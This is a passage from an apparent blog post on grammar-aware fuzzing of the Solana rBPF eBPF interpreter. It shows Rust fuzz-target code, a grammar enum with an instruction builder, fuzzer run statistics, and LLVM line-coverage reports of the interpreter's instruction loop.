941| 402| ebpf::ADD64_IMM => reg[dst] = reg[dst].wrapping_add(insn.imm as u64),
942| 351| ebpf::ADD64_REG => reg[dst] = reg[dst].wrapping_add(reg[src]),
943| 1.12k| ebpf::SUB64_IMM => reg[dst] = reg[dst].wrapping_sub(insn.imm as u64),
944| 721| ebpf::SUB64_REG => reg[dst] = reg[dst].wrapping_sub(reg[src]),
945| 3.06k| ebpf::MUL64_IMM => reg[dst] = reg[dst].wrapping_mul(insn.imm as u64),
946| 1.71k| ebpf::MUL64_REG => reg[dst] = reg[dst].wrapping_mul(reg[src]),
947| 1.39k| ebpf::DIV64_IMM => reg[dst] /= insn.imm as u64,
948| | ebpf::DIV64_REG => {
949| 23| if reg[src] == 0 {
950| 12| return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
951| 11| }
952| 11| reg[dst] /= reg[src];
953| | },
954| | ebpf::SDIV64_IMM => {
955| 1.40k| if reg[dst] as i64 == i64::MIN && insn.imm == -1 {
^0
956| 0| return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
957| 1.40k| }
958| 1.40k|
959| 1.40k| reg[dst] = (reg[dst] as i64 / insn.imm) as u64
960| | }
961| | ebpf::SDIV64_REG => {
962| 12| if reg[src] == 0 {
963| 5| return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
964| 7| }
965| 7| if reg[dst] as i64 == i64::MIN && reg[src] as i64 == -1 {
^0
966| 0| return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
967| 7| }
968| 7| reg[dst] = (reg[dst] as i64 / reg[src] as i64) as u64;
969| | },
970| 838| ebpf::OR64_IMM => reg[dst] |= insn.imm as u64,
971| 1.37k| ebpf::OR64_REG => reg[dst] |= reg[src],
972| 2.14k| ebpf::AND64_IMM => reg[dst] &= insn.imm as u64,
973| 4.47k| ebpf::AND64_REG => reg[dst] &= reg[src],
974| 0| ebpf::LSH64_IMM => reg[dst] = reg[dst].wrapping_shl(insn.imm as u32),
975| 1.73k| ebpf::LSH64_REG => reg[dst] = reg[dst].wrapping_shl(reg[src] as u32),
976| 0| ebpf::RSH64_IMM => reg[dst] = reg[dst].wrapping_shr(insn.imm as u32),
977| 1.03k| ebpf::RSH64_REG => reg[dst] = reg[dst].wrapping_shr(reg[src] as u32),
978| 5.59k| ebpf::NEG64 => reg[dst] = (reg[dst] as i64).wrapping_neg() as u64,
979| 2.85k| ebpf::MOD64_IMM => reg[dst] %= insn.imm as u64,
980| | ebpf::MOD64_REG => {
981| 3| if reg[src] == 0 {
982| 2| return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
983| 1| }
984| 1| reg[dst] %= reg[src];
985| | },
986| 2.28k| ebpf::XOR64_IMM => reg[dst] ^= insn.imm as u64,
987| 1.41k| ebpf::XOR64_REG => reg[dst] ^= reg[src],
988| 383| ebpf::MOV64_IMM => reg[dst] = insn.imm as u64,
989| 4.24k| ebpf::MOV64_REG => reg[dst] = reg[src],
990| 0| ebpf::ARSH64_IMM => reg[dst] = (reg[dst] as i64).wrapping_shr(insn.imm as u32) as u64,
991| 357| ebpf::ARSH64_REG => reg[dst] = (reg[dst] as i64).wrapping_shr(reg[src] as u32) as u64,
992| |
993| | // BPF_JMP class
994| 4.43k| ebpf::JA => { next_pc = (next_pc as isize + insn.off as isize) as usize; },
995| 10| ebpf::JEQ_IMM => if reg[dst] == insn.imm as u64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^0
996| 1.36k| ebpf::JEQ_REG => if reg[dst] == reg[src] { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^1.36k ^2
997| 4.16k| ebpf::JGT_IMM => if reg[dst] > insn.imm as u64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^1.42k ^2.74k
998| 1.73k| ebpf::JGT_REG => if reg[dst] > reg[src] { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^1.39k ^343
999| 343| ebpf::JGE_IMM => if reg[dst] >= insn.imm as u64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^0
1000| 2.04k| ebpf::JGE_REG => if reg[dst] >= reg[src] { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^1.70k ^342
1001| 2.04k| ebpf::JLT_IMM => if reg[dst] < insn.imm as u64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^2.04k ^1
1002| 342| ebpf::JLT_REG => if reg[dst] < reg[src] { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^0
1003| 1.02k| ebpf::JLE_IMM => if reg[dst] <= insn.imm as u64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^0
1004| 2.38k| ebpf::JLE_REG => if reg[dst] <= reg[src] { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^2.38k ^1
1005| 1.76k| ebpf::JSET_IMM => if reg[dst] & insn.imm as u64 != 0 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^1.42k ^347
1006| 686| ebpf::JSET_REG => if reg[dst] & reg[src] != 0 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^0
1007| 6.48k| ebpf::JNE_IMM => if reg[dst] != insn.imm as u64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^0
1008| 2.44k| ebpf::JNE_REG => if reg[dst] != reg[src] { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^1.40k ^1.03k
1009| 18.1k| ebpf::JSGT_IMM => if reg[dst] as i64 > insn.imm as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^17.7k ^363
1010| 2.08k| ebpf::JSGT_REG => if reg[dst] as i64 > reg[src] as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^2.07k ^12
1011| 14.3k| ebpf::JSGE_IMM => if reg[dst] as i64 >= insn.imm as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^12.9k ^1.37k
1012| 3.45k| ebpf::JSGE_REG => if reg[dst] as i64 >= reg[src] as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^3.44k ^12
1013| 1.36k| ebpf::JSLT_IMM => if (reg[dst] as i64) < insn.imm as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^1.02k ^346
1014| 2| ebpf::JSLT_REG => if (reg[dst] as i64) < reg[src] as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^0
1015| 2.05k| ebpf::JSLE_IMM => if (reg[dst] as i64) <= insn.imm as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^2.04k ^14
1016| 6.83k| ebpf::JSLE_REG => if (reg[dst] as i64) <= reg[src] as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^6.83k ^7
1017| |
1018| | ebpf::CALL_REG => {
1019| 0| let target_address = reg[insn.imm as usize];
1020| 0| reg[ebpf::FRAME_PTR_REG] =
1021| 0| self.stack.push(®[ebpf::FIRST_SCRATCH_REG..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS], next_pc)?;
1022| 0| if target_address < self.program_vm_addr {
1023| 0| return Err(EbpfError::CallOutsideTextSegment(pc + ebpf::ELF_INSN_DUMP_OFFSET, target_address / ebpf::INSN_SIZE as u64 * ebpf::INSN_SIZE as u64));
1024| 0| }
1025| 0| next_pc = self.check_pc(pc, (target_address - self.program_vm_addr) as usize / ebpf::INSN_SIZE)?;
1026| | },
1027| |
1028| | // Do not delegate the check to the verifier, since registered functions can be
1029| | // changed after the program has been verified.
1030| | ebpf::CALL_IMM => {
1031| 22| let mut resolved = false;
1032| 22| let (syscalls, calls) = if config.static_syscalls {
1033| 22| (insn.src == 0, insn.src != 0)
1034| | } else {
1035| 0| (true, true)
1036| | };
1037| |
1038| 22| if syscalls {
1039| 2| if let Some(syscall) = self.executable.get_syscall_registry().lookup_syscall(insn.imm as u32) {
^0
1040| 0| resolved = true;
1041| 0|
1042| 0| if config.enable_instruction_meter {
1043| 0| let _ = instruction_meter.consume(*last_insn_count);
1044| 0| }
1045| 0| *last_insn_count = 0;
1046| 0| let mut result: ProgramResult<E> = Ok(0);
1047| 0| (unsafe { std::mem::transmute::<u64, SyscallFunction::<E, *mut u8>>(syscall.function) })(
1048| 0| self.syscall_context_objects[SYSCALL_CONTEXT_OBJECTS_OFFSET + syscall.context_object_slot],
1049| 0| reg[1],
1050| 0| reg[2],
1051| 0| reg[3],
1052| 0| reg[4],
1053| 0| reg[5],
1054| 0| &self.memory_mapping,
1055| 0| &mut result,
1056| 0| );
1057| 0| reg[0] = result?;
1058| 0| if config.enable_instruction_meter {
1059| 0| remaining_insn_count = instruction_meter.get_remaining();
1060| 0| }
1061| 2| }
1062| 20| }
1063| |
1064| 22| if calls {
1065| 20| if let Some(target_pc) = self.executable.lookup_bpf_function(insn.imm as u32) {
^0
1066| 0| resolved = true;
1067| |
1068| | // make BPF to BPF call
1069| 0| reg[ebpf::FRAME_PTR_REG] =
1070| 0| self.stack.push(®[ebpf::FIRST_SCRATCH_REG..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS], next_pc)?;
1071| 0| next_pc = self.check_pc(pc, target_pc)?;
1072| 20| }
1073| 2| }
1074| |
1075| 22| if !resolved {
1076| 22| if config.disable_unresolved_symbols_at_runtime {
1077| 6| return Err(EbpfError::UnsupportedInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
1078| | } else {
1079| 16| self.executable.report_unresolved_symbol(pc)?;
1080| | }
1081| 0| }
1082| | }
1083| |
1084| | ebpf::EXIT => {
1085| 14| match self.stack.pop::<E>() {
1086| 0| Ok((saved_reg, frame_ptr, ptr)) => {
1087| 0| // Return from BPF to BPF call
1088| 0| reg[ebpf::FIRST_SCRATCH_REG
1089| 0| ..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS]
1090| 0| .copy_from_slice(&saved_reg);
1091| 0| reg[ebpf::FRAME_PTR_REG] = frame_ptr;
1092| 0| next_pc = self.check_pc(pc, ptr)?;
1093| | }
1094| | _ => {
1095| 14| return Ok(reg[0]);
1096| | }
1097| | }
1098| | }
1099| 0| _ => return Err(EbpfError::UnsupportedInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET)),
1100| | }
1101| |
1102| 135k| if config.enable_instruction_meter && *last_insn_count >= remaining_insn_count {
1103| | // Use `pc + instruction_width` instead of `next_pc` here because jumps and calls don't continue at the end of this instruction
1104| 130| return Err(EbpfError::ExceededMaxInstructions(pc + instruction_width + ebpf::ELF_INSN_DUMP_OFFSET, initial_insn_count));
1105| 135k| }
1106| | }
1107| |
1108| 419| Err(EbpfError::ExecutionOverrun(
1109| 419| next_pc + ebpf::ELF_INSN_DUMP_OFFSET,
1110| 419| ))
1111| 763| }
Unfortunately, this fuzzer doesn’t seem to achieve the coverage we expect. Several instructions are missed (note the 0 coverage on some branches of the match) and there are no jumps, calls, or other control-flow-relevant instructions. This is largely because throwing random bytes at any parser just isn’t going to be effective; most things will get caught at the verification stage, and very little will actually test the program.
We must improve this before we continue or we’ll be waiting forever for our fuzzer to find useful bugs.
At this point, we’re about two hours into development.
eBPF is a quite simple instruction set; you can read the whole definition in just a few pages. Knowing this: why don’t we constrain our input to just these instructions? This approach is commonly called “grammar-aware” fuzzing on account of the fact that the inputs are constrained to some grammar. It is very powerful as a concept, and is used to test a variety of large targets which have strict parsing rules.
To create this grammar-aware fuzzer, I inspected the helpfully-named and provided insn_builder.rs which would allow me to create instructions. Now, all I needed to do was represent all the different instructions. By cross referencing with eBPF documentation, we can represent each possible operation in a single enum. You can see the whole grammar.rs in the rBPF repo if you wish, but the two most relevant sections are provided below.
#[derive(arbitrary::Arbitrary, Debug, Eq, PartialEq)]
pub enum FuzzedOp {
Add(Source),
Sub(Source),
Mul(Source),
Div(Source),
BitOr(Source),
BitAnd(Source),
LeftShift(Source),
RightShift(Source),
Negate,
Modulo(Source),
BitXor(Source),
Mov(Source),
SRS(Source),
SwapBytes(Endian),
Load(MemSize),
LoadAbs(MemSize),
LoadInd(MemSize),
LoadX(MemSize),
Store(MemSize),
StoreX(MemSize),
Jump,
JumpC(Cond, Source),
Call,
Exit,
}
pub type FuzzProgram = Vec<FuzzedInstruction>;
pub fn make_program(prog: &FuzzProgram, arch: Arch) -> BpfCode {
let mut code = BpfCode::default();
for inst in prog {
match inst.op {
FuzzedOp::Add(src) => code
.add(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Sub(src) => code
.sub(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Mul(src) => code
.mul(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Div(src) => code
.div(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::BitOr(src) => code
.bit_or(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::BitAnd(src) => code
.bit_and(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::LeftShift(src) => code
.left_shift(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::RightShift(src) => code
.right_shift(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Negate => code
.negate(arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Modulo(src) => code
.modulo(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::BitXor(src) => code
.bit_xor(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Mov(src) => code
.mov(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::SRS(src) => code
.signed_right_shift(src, arch)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::SwapBytes(endian) => code
.swap_bytes(endian)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Load(mem) => code
.load(mem)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::LoadAbs(mem) => code
.load_abs(mem)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::LoadInd(mem) => code
.load_ind(mem)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::LoadX(mem) => code
.load_x(mem)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Store(mem) => code
.store(mem)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::StoreX(mem) => code
.store_x(mem)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Jump => code
.jump_unconditional()
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::JumpC(cond, src) => code
.jump_conditional(cond, src)
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Call => code
.call()
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
FuzzedOp::Exit => code
.exit()
.set_dst(inst.dst)
.set_src(inst.src)
.set_off(inst.off)
.set_imm(inst.imm)
.push(),
};
}
code
}
You’ll see here that our generation doesn’t really care to ensure that instructions are valid, just that they’re in the right format. For example, we don’t verify registers, addresses, jump targets, etc.; we just slap it together and see if it works. This is to prevent over-specialisation, where our attempts to fuzz things only make “boring” inputs that don’t test cases that would normally be considered invalid.
Okay – let’s make a fuzzer with this. The only real difference here is that our input format is now changed to have our new FuzzProgram type instead of raw bytes:
#[derive(arbitrary::Arbitrary, Debug)]
struct FuzzData {
template: ConfigTemplate,
prog: FuzzProgram,
mem: Vec<u8>,
arch: Arch,
}
This fuzzer expresses a particular stage in development. The differential fuzzer is significantly different in a few key aspects that will be discussed later.
#![feature(bench_black_box)]
#![no_main]
use std::collections::BTreeMap;
use std::hint::black_box;
use libfuzzer_sys::fuzz_target;
use grammar_aware::*;
use solana_rbpf::{
elf::{register_bpf_function, Executable},
insn_builder::{Arch, IntoBytes},
memory_region::MemoryRegion,
user_error::UserError,
verifier::check,
vm::{EbpfVm, SyscallRegistry, TestInstructionMeter},
};
use crate::common::ConfigTemplate;
mod common;
mod grammar_aware;
#[derive(arbitrary::Arbitrary, Debug)]
struct FuzzData {
template: ConfigTemplate,
prog: FuzzProgram,
mem: Vec<u8>,
arch: Arch,
}
fuzz_target!(|data: FuzzData| {
let prog = make_program(&data.prog, data.arch);
let config = data.template.into();
if check(prog.into_bytes(), &config).is_err() {
// verify please
return;
}
let mut mem = data.mem;
let registry = SyscallRegistry::default();
let mut bpf_functions = BTreeMap::new();
register_bpf_function(&config, &mut bpf_functions, ®istry, 0, "entrypoint").unwrap();
let executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
prog.into_bytes(),
None,
config,
SyscallRegistry::default(),
bpf_functions,
)
.unwrap();
let mem_region = MemoryRegion::new_writable(&mem, ebpf::MM_INPUT_START);
let mut vm =
EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![mem_region]).unwrap();
drop(black_box(vm.execute_program_interpreted(
&mut TestInstructionMeter { remaining: 1 << 16 },
)));
});
Let’s see how well this version covers our target now.
$ cargo +nightly fuzz run smart -- -max_total_time=60
... snip ...
#1449846 REDUCE cov: 1730 ft: 6369 corp: 1019/168Kb lim: 4096 exec/s: 4832 rss: 358Mb L: 267/2963 MS: 1 EraseBytes-
#1450798 NEW cov: 1730 ft: 6370 corp: 1020/168Kb lim: 4096 exec/s: 4835 rss: 358Mb L: 193/2963 MS: 2 InsertByte-InsertRepeatedBytes-
#1451609 NEW cov: 1730 ft: 6371 corp: 1021/168Kb lim: 4096 exec/s: 4838 rss: 358Mb L: 108/2963 MS: 1 ChangeByte-
#1452095 NEW cov: 1730 ft: 6372 corp: 1022/169Kb lim: 4096 exec/s: 4840 rss: 358Mb L: 108/2963 MS: 1 ChangeByte-
#1452830 DONE cov: 1730 ft: 6372 corp: 1022/169Kb lim: 4096 exec/s: 4826 rss: 358Mb
Done 1452830 runs in 301 second(s)
Notice that our number of inputs tried (the number farthest left) is nearly half, but our cov and ft values are significantly higher.
Let’s evaluate that coverage a little more specifically:
$ cargo +nightly fuzz coverage smart
$ rust-cov show -Xdemangler=rustfilt fuzz/target/x86_64-unknown-linux-gnu/release/smart -instr-profile=fuzz/coverage/smart/coverage.profdata -show-line-counts-or-regions -show-instantiations -name=execute_program_interpreted_inner
If you’re not familiar with llvm coverage output, the first column is the line number, the second column is the number of times that that particular line was hit, and the third column is the code itself.
<solana_rbpf::vm::EbpfVm<solana_rbpf::user_error::UserError, solana_rbpf::vm::TestInstructionMeter>>::execute_program_interpreted_inner:
709| 886| fn execute_program_interpreted_inner(
710| 886| &mut self,
711| 886| instruction_meter: &mut I,
712| 886| initial_insn_count: u64,
713| 886| last_insn_count: &mut u64,
714| 886| ) -> ProgramResult<E> {
715| 886| // R1 points to beginning of input memory, R10 to the stack of the first frame
716| 886| let mut reg: [u64; 11] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, self.stack.get_frame_ptr()];
717| 886| reg[1] = ebpf::MM_INPUT_START;
718| 886|
719| 886| // Loop on instructions
720| 886| let config = self.executable.get_config();
721| 886| let mut next_pc: usize = self.executable.get_entrypoint_instruction_offset()?;
^0
722| 886| let mut remaining_insn_count = initial_insn_count;
723| 2.16M| while (next_pc + 1) * ebpf::INSN_SIZE <= self.program.len() {
724| 2.16M| *last_insn_count += 1;
725| 2.16M| let pc = next_pc;
726| 2.16M| next_pc += 1;
727| 2.16M| let mut instruction_width = 1;
728| 2.16M| let mut insn = ebpf::get_insn_unchecked(self.program, pc);
729| 2.16M| let dst = insn.dst as usize;
730| 2.16M| let src = insn.src as usize;
731| 2.16M|
732| 2.16M| if config.enable_instruction_tracing {
733| 0| let mut state = [0u64; 12];
734| 0| state[0..11].copy_from_slice(®);
735| 0| state[11] = pc as u64;
736| 0| self.tracer.trace(state);
737| 2.16M| }
738| |
739| 2.16M| match insn.opc {
740| 2.16M| _ if dst == STACK_PTR_REG && config.dynamic_stack_frames => {
741| 6| match insn.opc {
742| 2| ebpf::SUB64_IMM => self.stack.resize_stack(-insn.imm),
743| 4| ebpf::ADD64_IMM => self.stack.resize_stack(insn.imm),
744| | _ => {
745| | #[cfg(debug_assertions)]
746| 0| unreachable!("unexpected insn on r11")
747| | }
748| | }
749| | }
750| |
751| | // BPF_LD class
752| | // Since this pointer is constant, and since we already know it (ebpf::MM_INPUT_START), do not
753| | // bother re-fetching it, just use ebpf::MM_INPUT_START already.
754| | ebpf::LD_ABS_B => {
755| 5| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
756| 5| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
^2
757| 2| reg[0] = unsafe { *host_ptr as u64 };
758| | },
759| | ebpf::LD_ABS_H => {
760| 3| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
761| 3| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
^1
762| 1| reg[0] = unsafe { *host_ptr as u64 };
763| | },
764| | ebpf::LD_ABS_W => {
765| 6| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
766| 6| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
^2
767| 2| reg[0] = unsafe { *host_ptr as u64 };
768| | },
769| | ebpf::LD_ABS_DW => {
770| 4| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(insn.imm as u32 as u64);
771| 4| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
^1
772| 1| reg[0] = unsafe { *host_ptr as u64 };
773| | },
774| | ebpf::LD_IND_B => {
775| 9| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
776| 9| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
^1
777| 1| reg[0] = unsafe { *host_ptr as u64 };
778| | },
779| | ebpf::LD_IND_H => {
780| 3| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
781| 3| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
^1
782| 1| reg[0] = unsafe { *host_ptr as u64 };
783| | },
784| | ebpf::LD_IND_W => {
785| 4| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
786| 4| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
^2
787| 2| reg[0] = unsafe { *host_ptr as u64 };
788| | },
789| | ebpf::LD_IND_DW => {
790| 2| let vm_addr = ebpf::MM_INPUT_START.wrapping_add(reg[src]).wrapping_add(insn.imm as u32 as u64);
791| 2| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
^0
792| 0| reg[0] = unsafe { *host_ptr as u64 };
793| | },
794| |
795| 6| ebpf::LD_DW_IMM => {
796| 6| ebpf::augment_lddw_unchecked(self.program, &mut insn);
797| 6| instruction_width = 2;
798| 6| next_pc += 1;
799| 6| reg[dst] = insn.imm as u64;
800| 6| },
801| |
802| | // BPF_LDX class
803| | ebpf::LD_B_REG => {
804| 21| let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
805| 21| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u8);
^4
806| 4| reg[dst] = unsafe { *host_ptr as u64 };
807| | },
808| | ebpf::LD_H_REG => {
809| 4| let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
810| 4| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u16);
^1
811| 1| reg[dst] = unsafe { *host_ptr as u64 };
812| | },
813| | ebpf::LD_W_REG => {
814| 26| let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
815| 26| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u32);
^19
816| 19| reg[dst] = unsafe { *host_ptr as u64 };
817| | },
818| | ebpf::LD_DW_REG => {
819| 5| let vm_addr = (reg[src] as i64).wrapping_add(insn.off as i64) as u64;
820| 5| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Load, pc, u64);
^1
821| 1| reg[dst] = unsafe { *host_ptr as u64 };
822| | },
823| |
824| | // BPF_ST class
825| | ebpf::ST_B_IMM => {
826| 8| let vm_addr = (reg[dst] as i64).wrapping_add( insn.off as i64) as u64;
827| 8| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u8);
^1
828| 1| unsafe { *host_ptr = insn.imm as u8 };
829| | },
830| | ebpf::ST_H_IMM => {
831| 11| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
832| 11| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u16);
^6
833| 6| unsafe { *host_ptr = insn.imm as u16 };
834| | },
835| | ebpf::ST_W_IMM => {
836| 9| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
837| 9| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u32);
^6
838| 6| unsafe { *host_ptr = insn.imm as u32 };
839| | },
840| | ebpf::ST_DW_IMM => {
841| 16| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
842| 16| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u64);
^11
843| 11| unsafe { *host_ptr = insn.imm as u64 };
844| | },
845| |
846| | // BPF_STX class
847| | ebpf::ST_B_REG => {
848| 9| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
849| 9| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u8);
^2
850| 2| unsafe { *host_ptr = reg[src] as u8 };
851| | },
852| | ebpf::ST_H_REG => {
853| 8| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
854| 8| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u16);
^3
855| 3| unsafe { *host_ptr = reg[src] as u16 };
856| | },
857| | ebpf::ST_W_REG => {
858| 7| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
859| 7| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u32);
^2
860| 2| unsafe { *host_ptr = reg[src] as u32 };
861| | },
862| | ebpf::ST_DW_REG => {
863| 7| let vm_addr = (reg[dst] as i64).wrapping_add(insn.off as i64) as u64;
864| 7| let host_ptr = translate_memory_access!(self, vm_addr, AccessType::Store, pc, u64);
^2
865| 2| unsafe { *host_ptr = reg[src] as u64 };
866| | },
867| |
868| | // BPF_ALU class
869| 136| ebpf::ADD32_IMM => reg[dst] = (reg[dst] as i32).wrapping_add(insn.imm as i32) as u64,
870| 18| ebpf::ADD32_REG => reg[dst] = (reg[dst] as i32).wrapping_add(reg[src] as i32) as u64,
871| 94| ebpf::SUB32_IMM => reg[dst] = (reg[dst] as i32).wrapping_sub(insn.imm as i32) as u64,
872| 14| ebpf::SUB32_REG => reg[dst] = (reg[dst] as i32).wrapping_sub(reg[src] as i32) as u64,
873| 226| ebpf::MUL32_IMM => reg[dst] = (reg[dst] as i32).wrapping_mul(insn.imm as i32) as u64,
874| 15| ebpf::MUL32_REG => reg[dst] = (reg[dst] as i32).wrapping_mul(reg[src] as i32) as u64,
875| 98| ebpf::DIV32_IMM => reg[dst] = (reg[dst] as u32 / insn.imm as u32) as u64,
876| | ebpf::DIV32_REG => {
877| 4| if reg[src] as u32 == 0 {
878| 2| return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
879| 2| }
880| 2| reg[dst] = (reg[dst] as u32 / reg[src] as u32) as u64;
881| | },
882| | ebpf::SDIV32_IMM => {
883| 0| if reg[dst] as i32 == i32::MIN && insn.imm == -1 {
884| 0| return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
885| 0| }
886| 0| reg[dst] = (reg[dst] as i32 / insn.imm as i32) as u64;
887| | }
888| | ebpf::SDIV32_REG => {
889| 0| if reg[src] as i32 == 0 {
890| 0| return Err(EbpfError::DivideByZero(pc + ebpf::ELF_INSN_DUMP_OFFSET));
891| 0| }
892| 0| if reg[dst] as i32 == i32::MIN && reg[src] as i32 == -1 {
893| 0| return Err(EbpfError::DivideOverflow(pc + ebpf::ELF_INSN_DUMP_OFFSET));
894| 0| }
895| 0| reg[dst] = (reg[dst] as i32 / reg[src] as i32) as u64;
896| | },
897| 102| ebpf::OR32_IMM => reg[dst] = (reg[dst] as u32 | insn.imm as u32) as u64,
